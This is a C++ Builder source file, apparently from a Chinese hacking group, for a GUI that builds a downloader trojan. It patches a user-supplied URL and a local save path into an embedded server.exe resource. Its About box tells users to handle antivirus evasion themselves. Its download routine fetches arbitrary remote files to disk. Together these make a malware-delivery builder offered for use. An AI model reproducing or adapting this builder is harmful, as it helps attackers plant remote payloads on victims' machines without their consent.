📄 httpdown.cpp
字号:
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include "HttpDown.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TMainForm *MainForm;
//---------------------------------------------------------------------------
__fastcall TMainForm::TMainForm(TComponent* Owner)
: TForm(Owner)
{
m_nAlpha = 230;
//设置WINDOWS2000 透明窗口参数WS_EX_LAYERED。
SetWindowLong(Handle,GWL_EXSTYLE,
GetWindowLong(Handle,GWL_EXSTYLE)|WS_EX_LAYERED);
SetWindowLong(this->Handle,GWL_EXSTYLE,
GetWindowLong(Handle,GWL_EXSTYLE)|WS_EX_LAYERED);
SetAlpha(m_nAlpha);
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::SetAlpha(int alpha)
{
//设置窗口透明度。LWA_ALPHA指明用混合值alpha设置窗口透明度。
SetLayeredWindowAttributes(this->Handle,NULL,alpha,LWA_ALPHA);
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::FormCreate(TObject *Sender)
{ //初始化时保存窗口宽度和高度
m_nWidth = MainForm->Width;
m_nHeight = MainForm->Height;
OptionCheckBoxClick(this);
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::OptionCheckBoxClick(TObject *Sender)
{ //选中"高级选项"时扩展窗口
if(OptionCheckBox->Checked)
{
SetWindowPos(MainForm->Handle,NULL,0,0,m_nWidth,m_nHeight,SWP_NOMOVE|SWP_NOZORDER);
}
else
{
int nHeight = OptionCheckBox->Top + OptionCheckBox->Height + 60;
SetWindowPos(MainForm->Handle,NULL,0,0,m_nWidth,nHeight,SWP_NOMOVE|SWP_NOZORDER);
}
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ReportCheckBoxClick(TObject *Sender)
{
if(ReportCheckBox->Checked)
{
ReportEdit->Enabled = true;
}
else
{
ReportEdit->Enabled = false;
}
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::AuthorLabelClick(TObject *Sender)
{
ShellExecute(NULL,"open","http://www.huihu32.cn/",NULL,NULL,SW_MAXIMIZE);
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::AuthorLabelMouseEnter(TObject *Sender)
{
AuthorLabel->Left = 156;
AuthorLabel->Caption = " Www.HuiHu32.cN ";
AuthorLabel->Font->Color = clLime;
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::AuthorLabelMouseLeave(TObject *Sender)
{
AuthorLabel->Left = 176;
AuthorLabel->Caption = " 灰狐开发 ";
AuthorLabel->Font->Color = clYellow;
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::AboutButtonClick(TObject *Sender)
{
MessageBox(NULL,"本程序由暗安全技术小组成员\n\n灰狐(D.S.T && E.S.T) 独立开发\n\n目前版本不穿墙、请自行免杀\n\n欢迎各路大侠进行测试、研究","帮助",NULL);
}
//---------------------------------------------------------------------------
int __fastcall TMainForm::InternetGetFile(char szUrl[MAX_PATH],char szFileName[MAX_PATH])
{
DWORD dwFlags;
//得到Internet的连接状态
InternetGetConnectedState(&dwFlags,0);
statusBar->SimpleText = " 正在检测当前Internet连接状态...";
char strAgent[64];
sprintf(strAgent,"Agent%ld",timeGetTime());
HINTERNET hOpen;
if(!(dwFlags & INTERNET_CONNECTION_PROXY))
{
hOpen = InternetOpen(strAgent,INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY,NULL,NULL,0);
}
else
{
hOpen = InternetOpenA(strAgent,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
}
if(!hOpen)
{
statusBar->SimpleText = " Internet连接错误!";
return -1;
}
DWORD dwSize;
char szHead[] = "Accept: */*\r\n\r\n";
void* szTemp[16384];
HINTERNET hConnect;
FILE *fp;
statusBar->SimpleText = " 正在尝试连接URL...";
//打开Internet文件的URL
if(!(hConnect = InternetOpenUrlA(hOpen,szUrl,szHead,strlen(szHead),INTERNET_FLAG_DONT_CACHE|INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_RELOAD,0)))
{
statusBar->SimpleText = " 不能打开此URL标识的文件!";
return -1;
}
//创建本地文件
fp = fopen(szFileName,"wb+");
statusBar->SimpleText = " 正在创建本地文件...";
if(fp == NULL)
{
statusBar->SimpleText = " 创建服务端时出错!";
return -1;
}
DWORD dwByteToRead = 0;
DWORD dwSizeOfRq = 4;
//查询Internet文件的长度信息
if(!HttpQueryInfo(hConnect,HTTP_QUERY_CONTENT_LENGTH|HTTP_QUERY_FLAG_NUMBER,(LPVOID)&dwByteToRead,&dwSizeOfRq,NULL))
{
dwByteToRead = 0;
}
do
{
//读取文件数据
statusBar->SimpleText = " 正在从Internet读取文件内容...";
if(!InternetReadFile(hConnect,szTemp,16384,&dwSize))
{
statusBar->SimpleText = " 从Internet读取文件出错!";
fclose(fp);
return -1;
}
if(dwSize == 0) //下载完毕退出循环
break;
else
fwrite(szTemp,dwSize,1,fp);
}while(true);
statusBar->SimpleText = " 下载完成!";
fclose(fp);
InternetCloseHandle(hOpen);
return 0;
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::TestButtonClick(TObject *Sender)
{
char NameBuffer[MAX_PATH];
char PathBuffer[MAX_PATH];
sprintf(NameBuffer,"%s",UrlEdit->Text.c_str());
sprintf(PathBuffer,"%s",LocalEdit->Text.c_str());
if(InternetGetFile(NameBuffer,PathBuffer) == 0)
{
MessageBox(NULL,"成功:请检查目标文件是否存在!","提示",NULL);
}
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ServerButtonClick(TObject *Sender)
{
HRSRC hRc = FindResource( NULL, "MyExe", "Exe" );
if( !hRc )
{
MessageBox( NULL, "抱歉:在生成服务端的过程中出现了错误!", "Error", MB_OK );
return;
}
HGLOBAL hg = LoadResource( NULL, hRc );
DWORD dw = SizeofResource( NULL, hRc );
char a[35000];
memset( a, 0, 35000 );
memcpy( a, hg, dw );
//创建服务端
FILE *out = fopen( "server.exe", "wb+" );
fwrite( a, 1, dw, out );
fclose( out );
//修改参数
Sleep(10);
FILE *fp = fopen("server.exe","rb+");
rewind(fp);
char buffer1[100],buffer2[100];
memset( buffer1, 0, 100 );
memset( buffer2, 0, 100 );
sprintf( buffer1, "%s", UrlEdit->Text.c_str());
sprintf( buffer2, "%s", LocalEdit->Text.c_str() );
fseek(fp,0x7030,0);
fwrite( buffer1, 1, 100, fp );
fseek( fp, 0x7098, 0 );
fwrite( buffer2, 1, 100, fp );
fclose(fp);
MessageBox(NULL,"已生成服务端:server.exe","成功",NULL);
}
//---------------------------------------------------------------------------
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -